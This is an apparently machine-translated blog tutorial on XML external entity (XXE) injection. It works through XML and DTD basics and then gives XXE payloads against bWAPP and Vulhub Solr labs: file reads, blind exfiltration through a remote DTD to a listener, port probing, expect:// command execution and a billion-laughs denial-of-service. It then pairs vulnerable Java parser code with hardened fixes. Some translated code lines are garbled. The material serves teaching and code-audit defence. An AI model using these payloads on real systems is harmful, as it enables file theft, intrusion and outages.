JAVA code audit -- XXE external entity injection

WEB Security

To understand XXE, you need to understand the basics of XML before that

XML Foundation

XML syntax

  1. All XML elements must have a close tag
  2. XML tags are case sensitive
  3. XML must be nested correctly
  4. The XML document must have a root element
  5. XML attribute values must be quoted

For entity references, there may be < > symbols in tag attributes and corresponding position values, but these symbols have special meanings in the corresponding XML. At this time, we must use the corresponding representation of the entity corresponding to html. For example, the entity corresponding to < is <, and the entity corresponding to > symbol is >

In XML, spaces will be reserved, such as < p > a space B < / P >, and the spaces between a and B will be reserved

XML structure

XML document declaration

<?xml version="1.0" encoding="utf-8"?>

element

Elements are the main building blocks of XML and HTML documents. Elements can contain text, other elements, or empty.

<body>body text in between</body>
<message>some message in between</message>

Empty elements include: hr, br, img

attribute

Property provides additional information about the element

<img src="computer.gif"/>

Where src is the attribute

entity

Reference article: (38 messages) concept of entity in xml_ janchin's column - CSDN blog_ xml entity

There are four types of entities:

  • Character entity
  • Named entity
  • External entity
  • Parameter entity

Document type definition -- DTD

DTD is used to standardize XML document format. It can not only explain which elements / attributes are legal and how elements should be nested / combined, but also customize some special characters and reusable code segments as entities

DTD s can be embedded in XML documents (internal declarations) or stored as separate files (external references)

Reference article: Introduction to DTD (w3school.com.cn)

DTD internal declaration

If the DTD is included in your XML source file, it should be wrapped in a DOCTYPE declaration with the following syntax:

<! DOCTYPE root element [element declaration] >

Internal declaration DTD example

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

The above DTD is explained as follows:

  • ! DOCTYPE note (second line) defines that this document is a note type document.
  • ! ELEMENT note (the third line) defines that the note element has four elements: "to, from, heading, and body"
  • ! ELEMENT to (line 4) defines the to element as the "#PCDATA" type
  • ! ELEMENT from (line 5) defines the from element as the "#PCDATA" type
  • ! ELEMENT heading (line 6) defines the heading element as the "#PCDATA" type
  • ! ELEMENT body (line 7) defines the body element as the "#PCDATA" type

DTD external reference

If the DTD is located outside the XML source file, it should be encapsulated in a DOCTYPE definition through the following syntax:

<! DOCTYPE root element SYSTEM "filename" >

This XML document is the same as the above XML document, but has an external DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

PCDATA

PCDATA means parsed character data.

PCDATA is the text that will be parsed by the parser. These texts will be checked by the parser for entities and tags. The tags in the text will be treated as tags, and the entities will be expanded. It is worth noting that PCDATA should not contain &, < and > characters. It needs to be replaced with & < > entities, or CDATA

CDATA

CDATA means character data.

CDATA is text that will not be parsed by the parser.

In XML &, < characters are illegal because the parser will interpret < as the beginning of a new element and & as the beginning of a character entity. Therefore, when we need to use code containing a large number of &, < characters, we can use CDATA

CDATA ends with. CDATA cannot contain]] > string, nor can it nest CDATA. The ending]] > string cannot contain any spaces and newlines

DTD entity

Reference article: DTD - entity (w3school.com.cn)

A DTD entity is a variable used to define a shortcut that references ordinary text or special characters. It can be declared internally or referenced externally.

Entities are divided into general entities and parameter entities

1. General entity declaration syntax:

Method of referencing entity: & entity name;

2. Parameter entities can only be used in DTD s. The declaration format of parameter entities:

Method of referencing entity:% entity name;

Internal entity

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;&copyright;</author>

External entity

External entity, used to introduce external resources. There are two keywords: SYSTEM and PUBLIC, indicating whether the entity comes from the local computer or the PUBLIC computer

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;&copyright;</author>

Different programs support different protocols

LIBXML2

PHP

JAVA

.NET

file

file

http

file

http

http

https

http

ftp

ftp

ftp

https

php

file

ftp

compress.zlib

jar

compress.bzip2

netdoc

data

mailto

glob

gopher *

phar

php supports more protocols, but it needs some extension support.

XXE

XXE refers to XML external entity injection. It can be seen from the above that external entities refer to DTD external entities. The reason for XXE is that malicious external files can be loaded by parsing malicious external entities when parsing XML, resulting in file reading, command execution, intranet port scanning, attacking intranet websites, launching dos attacks, etc

How to judge

How to determine whether XXE exists

Take bwapp shooting range as an example

First, check the http header to see if there are XML related strings

Then judge whether the XML content is parsed

After discovering the modified content, the server parses the corresponding content

XXE possible hazards

read file

The main use is to use XXE to read files. Here I use bwapp shooting range as the environment

When I build the environment, I use the environment with php version 5.2.17. I use phpstudy. If the php version is greater than 5.2.17 or if I use the docker environment (php version 5.5.9), there will be no echo. Of course, it may be just my environment problem, but if I use the correct payload for injection with low difficulty, an error occurred will be displayed! If possible, you can try my method

Echo

First, enter the XXE vulnerability test interface

http://192.168.0.105/bwapp/xxe-1.php

After packet capturing, text/xml is found

By modifying the data, observe whether the server will parse the XML content

Make sure that the server will parse the XML content, and you can construct the injection by yourself

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
	<!ENTITY bee SYSTEM "file:///d:/robots.txt">
]>

<reset><login>&bee;</login><secret>Any bugs?</secret></reset>

The external entity "bee" of XML is given the following values: file:///d:/robots.txt , when parsing an XML document, bee is replaced with file:///d:/robots.txt Content of the. It was echoed back.

No echo (Blind XXE)

However, in the actual environment, XML is not used for output most of the time, so there will be no output most of the time. In this way, even if the XML is parsed, the file cannot be read directly, so we need to bring out data and send the data for reading

Range environment: Vulhub - Docker-Compose file for vulnerability environment

After setting up the environment, enter this page first http://192.168.3.25:8983/solr/#/demo/query Then click submit to capture the packet and send the packet to the replay device

Create a dtd file on the local host (using bridging) or ECs, which can connect the target server to the ip host anyway

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">

Modify the payload in the package after creation

/solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser

The payload is decoded as

<?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM "http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser

be careful, http://192.168.3.35/xxe.dtd This sentence needs to be changed to your own address. At the same time, don't url code & wt = XML & deftype = xmlparser when contracting. Just copy it directly

In the above case, when php reports an error, the data in it will be. If php does not report an error, use the following method

First listen to the port, and then modify the dtd file based on the above

<!ENTITY % file SYSTEM "file:///h:/test.txt">
<!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">

Attach the listening port to the connection. After sending, you will receive a message at the listening location. If not, you can try to view the server log

Here's someone else's picture

Reference link: XXE vulnerability details - Advanced - FreeBuf network security industry portal

However, I failed to reproduce it here. It may also be the reason why I read the file directly through error reporting, but I still record this situation

Read PHP and other files

Some files, such as php files, contain characters such as < and so on. When reading, the parser will parse these into xml language, resu lt ing in syntax errors. Therefore, in order to avoid this situation, pseudo protocol is used to read

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
	<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt">
]>

<reset><login>&bee;</login><secret>Any bugs?</secret></reset>

Port detection

The bwapp range is also used as the environment

The previous process is basically the same, and the injection is constructed after packet capture

The HTTP connection is followed by a port. If the port is open, it will display failed to open stream: HTTP request failed!, Otherwise, it will not be displayed (or failed to open stream: connection repuse! Or 500 status code will be displayed)

I use phpstudy as the environment here, so I open port 3306

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY  bee SYSTEM "http://192.168.3.25:3306">
]>

Test port 666. The machine is not turned on, so it takes a long time to obtain the response packet after sending the packet. Finally, an error code of 500 is reported

Test port 1234. The machine is also turned on. It also waits for a short time to obtain the response packet

Remote command execution RCE

The expect protocol is required for RCE, and other protocols may also execute commands

Expect needs to install expect extensions

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY  bee SYSTEM "expect://whoami">
]>

DDOS attack

Reference article: XXE from getting started to giving up - Security guest, security information platform (anquanke.com)

<?xml version="1.0"?>

<!DOCTYPE lolz [
  <!ENTITY lol "abc">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>

<lolz>&lol9;</lolz>

The attack creates a recursive XML definition and generates one billion "abc" strings in memory, resulting in DDoS attacks. The principle is: constructing a malicious XML entity file exhausts the available memory, because many XML parsers tend to keep its entire structure in memory when parsing XML documents. The parsing is very slow, resulting in a denial of server attack.

Defense XXE

Scheme 1: use the method of disabling external entities provided by the development language

PHP: 
libxml_disable_entity_loader(true);

JAVA:Look at the code audit below

Python: 
Third party module lxml Just change it according to the modified settings
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

def xxe():
    tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))
    # tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))
    return etree.tostring(tree.getroot())
Try using defusedxml Is a pure Python Software package that modifies all standard libraries XML Subclasses of the parser can prevent any potential malicious operations. For resolving untrusted XML This package is recommended for any server code for data.

Scheme 2: filter XML data submitted by users

Key words: <! DOCTYPE and <! Entity, or SYSTEM and PUBLIC.

XML is not allowed to contain any self declared DTD s

Effective measures: only static DTD s can be used to configure XML parser, and foreign introduction is prohibited; For Java, you can directly set the corresponding property value to false

Reference article: (38 messages) xxe details_ bylfsj's blog - CSDN blog_ xxe

JAVA code audit part

XXE is the English abbreviation of XML External Entity Injection. When developers allow xml to parse external entities, attackers can construct malicious external entities to attack arbitrary file reading, intranet port detection, command execution, denial of service attack and so on.

There are three conditions for generating XXE: first, the XML is parsed, and then the XML is externally controllable. Finally, external entities are not disabled

Common XML interfaces

XMLReader

XMLReader interface is an interface that reads XML documents through callback, which exists in the public area. XMLReader interface is a necessary interface for XML parser to implement SAX2 driver. It allows applications to set and query functions and properties in the parser, register event handlers for document processing, and start document parsing. The XXE vulnerability occurs when XMLReader uses the default parsing method and does not filter XML

SAXBuilder

SAXBuilder is a JDOM parser that can parse XML files in a path into Document objects. SAXBuilder uses a third-party SAX parser to handle parsing tasks and listens for SAX events using an instance of SAXHandler. The XXE vulnerability occurs when SAXBuilder uses the default parsing method and does not filter XML

SAXReader

DOM4J is DOM4J An open source XML parsing package produced by. Org is very simple to use. You can use it as long as you understand the basic XML-DOM model. DOM4J mainly relies on org. Org to read / write XML documents DOM4J. IO package, which has two modes: DOMReader and SAXReader. Because the same interface is used, the calling methods of the two methods are completely consistent. Similarly, the XXE vulnerability occurs when the default parsing method is used and the XML is not filtered.

SAXParserFactory

SAXParserFactory enables applications to configure and obtain SAX based parsers to parse XML documents. Its protected constructor can be forced to use newInstance(). As described above, the XXE vulnerability also occurs when the default parsing method is used and the XML is not filtered.

Digester

The Digester class is used to map XML into Java classes to simplify XML processing. It is a jar package in the Apache Commons Library: the common Digester package. Similarly, the XXE vulnerability will occur in the default configuration. The XXE vulnerability triggered by it is not echoed. We generally need to use the method of Blind XXE

DocumentBuilderFactory

javax. xml. DocumentBuilderFactory in parsers package is used to create parser objects in DOM mode. DocumentBuilderFactory is an abstract factory class, which cannot be instantiated directly, but this class provides a newInstance() method, which will automatically create a factory object and return it according to the parser installed by default on the local platform.

Interface code audit & repair

By understanding the principle of XXE, we know that defending against XXE only needs to do the following

1. XML is not parsed, but sometimes the business needs it

2. Disabling dtd is also impossible in many cases

3. Disable external entities and parameter entities

Most of the time, you can control the behavior of the parser by setting the feature

// This is a priority If DTDs (doctypes) are not allowed, almost all XML entity attacks can be prevented
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// If DTDs cannot be completely disabled, at least the following measures must be taken, and the two must exist at the same time
setFeature("http://xml. Org / Sax / features / external general entities ", false); / / prevent external entity POC
setFeature("http://xml. Org / Sax / features / external parameter entities ", false); / / prevent parameter entity POC

If XIclude is enabled, add it before the feature rule

dbf.setXIncludeAware(true);   // XInclude support
dbf.setNamespaceAware(true);  // XInclude support

The following codes are for: java-sec-code/XXE.java at master ยท JoyChou93/java-sec-code (github.com)

XMLReader

try {
    String body = WebUtils.getRequestBody(request);
    logger.info(body);
    XMLReader xmlReader = XMLReaderFactory.createXMLReader();
    xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
    return "xmlReader xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

Fix code

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	XMLReader xmlReader = XMLReaderFactory.createXMLReader();
	// fix code start
	xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
	xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
	//fix code end
	xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml

} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

SAXBuilder

try {
    String body = WebUtils.getRequestBody(request);
    logger.info(body);

    SAXBuilder builder = new SAXBuilder();
    // org.jdom2.Document document
    builder.build(new InputSource(new StringReader(body)));  // cause xxe
    return "SAXBuilder xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

Repair Code:

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	SAXBuilder builder = new SAXBuilder();
     // fix code start
	builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
	builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
     // fix code end
	// org.jdom2.Document document
	builder.build(new InputSource(new StringReader(body)));

} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

SAXReader

try {
    String body = WebUtils.getRequestBody(request);
    logger.info(body);

    SAXReader reader = new SAXReader();
    // org.dom4j.Document document
    reader.read(new InputSource(new StringReader(body))); // cause xxe

} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

Repair Code:

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	SAXReader reader = new SAXReader();
    // fix code start
	reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
	reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code end
	// org.dom4j.Document document
	reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

SAXParserFactory

try {
    String body = WebUtils.getRequestBody(request);
    logger.info(body);

    SAXParserFactory spf = SAXParserFactory.newInstance();
    SAXParser parser = spf.newSAXParser();
    parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

    return "SAXParser xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

Repair Code:

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	SAXParserFactory spf = SAXParserFactory.newInstance();
    // fix code start
	spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
	spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code start
	SAXParser parser = spf.newSAXParser();
	parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

Digester

try {
    String body = WebUtils.getRequestBody(request);
    logger.info(body);

    Digester digester = new Digester();
    digester.parse(new StringReader(body));  // parse xml
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

Repair Code:

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	Digester digester = new Digester();
     // fix code start
	digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
	digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
     // fix code end
	digester.parse(new StringReader(body));  // parse xml
 
	return "Digester xxe security code";
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

DocumentBuilderFactory

Code 1:

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);
	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	Document document = db.parse(is);  // parse xml

	// Traversing xml nodes name and value
	StringBuilder buf = new StringBuilder();
	NodeList rootNodeList = document.getChildNodes();
	for (int i = 0; i < rootNodeList.getLength(); i++) {
		Node rootNode = rootNodeList.item(i);
		NodeList child = rootNode.getChildNodes();
		for (int j = 0; j < child.getLength(); j++) {
			Node node = child.item(j);
			buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
		}
	}
	sr.close();
	return buf.toString();
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

Code 2:

try {
    String body = WebUtils.getRequestBody(request);
    logger.info(body);

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    StringReader sr = new StringReader(body);
    InputSource is = new InputSource(sr);
    Document document = db.parse(is);  // parse xml

    // Traversing xml nodes name and value
    StringBuilder result = new StringBuilder();
    NodeList rootNodeList = document.getChildNodes();
    for (int i = 0; i < rootNodeList.getLength(); i++) {
        Node rootNode = rootNodeList.item(i);
        NodeList child = rootNode.getChildNodes();
        for (int j = 0; j < child.getLength(); j++) {
            Node node = child.item(j);
            // When parsing XML normally, you need to judge whether it is ELEMENT_NODE type. Otherwise, redundant nodes will appear.
            if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
                result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
            }
        }
    }
    sr.close();
    return result.toString();
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

Repair Code:

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
	dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	db.parse(is);  // parse xml
	sr.close();
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

Code 3, support XInclude:

What is XInclude

Xinclude is XML Include. In fact, it is file inclusion. It can make the code more concise when it plays a great role. When you need to use the content, you can include the file. You can refer to php include

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	dbf.setXIncludeAware(true);   // XInclude support
	dbf.setNamespaceAware(true);  // XInclude support
	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	Document document = db.parse(is);  // parse xml

	NodeList rootNodeList = document.getChildNodes();
	response(rootNodeList);

	sr.close();
	return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

Repair code;

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);
	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

	dbf.setXIncludeAware(true);   // XInclude support
	dbf.setNamespaceAware(true);  // XInclude support
	dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
	dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	Document document = db.parse(is);  // parse xml

	NodeList rootNodeList = document.getChildNodes();
	response(rootNodeList);

	sr.close();
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

XMLReader&SAXParserFactory

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	SAXParserFactory spf = SAXParserFactory.newInstance();
	SAXParser saxParser = spf.newSAXParser();
	XMLReader xmlReader = saxParser.getXMLReader();
	xmlReader.parse(new InputSource(new StringReader(body)));

} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

Repair Code:

try {
	String body = WebUtils.getRequestBody(request);
	logger.info(body);

	SAXParserFactory spf = SAXParserFactory.newInstance();
	SAXParser saxParser = spf.newSAXParser();
	XMLReader xmlReader = saxParser.getXMLReader();
	xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
	xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
	xmlReader.parse(new InputSource(new StringReader(body)));

} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

DocumentHelper

try {
	String body = WebUtils.getRequestBody(req);
	DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}

To fix this vulnerability, you only need to upgrade dom4j to 2.1.1 or above, which disables ENTITY;

PoC without ENTITY cannot be used, so disabling ENTITY can complete the repair.

Reference article & Code:

JoyChou93/java-sec-code: Java web common vulnerabilities and security code which is base on springboot and spring security (github.com)

Network security java code audit

Java XXE test case details (qq.com)

XXE vulnerability principle and defense method - Ruilin (rui0.cn)

Keywords: Cyber Security

Added by rahulephp on Wed, 12 Jan 2022 22:58:45 +0200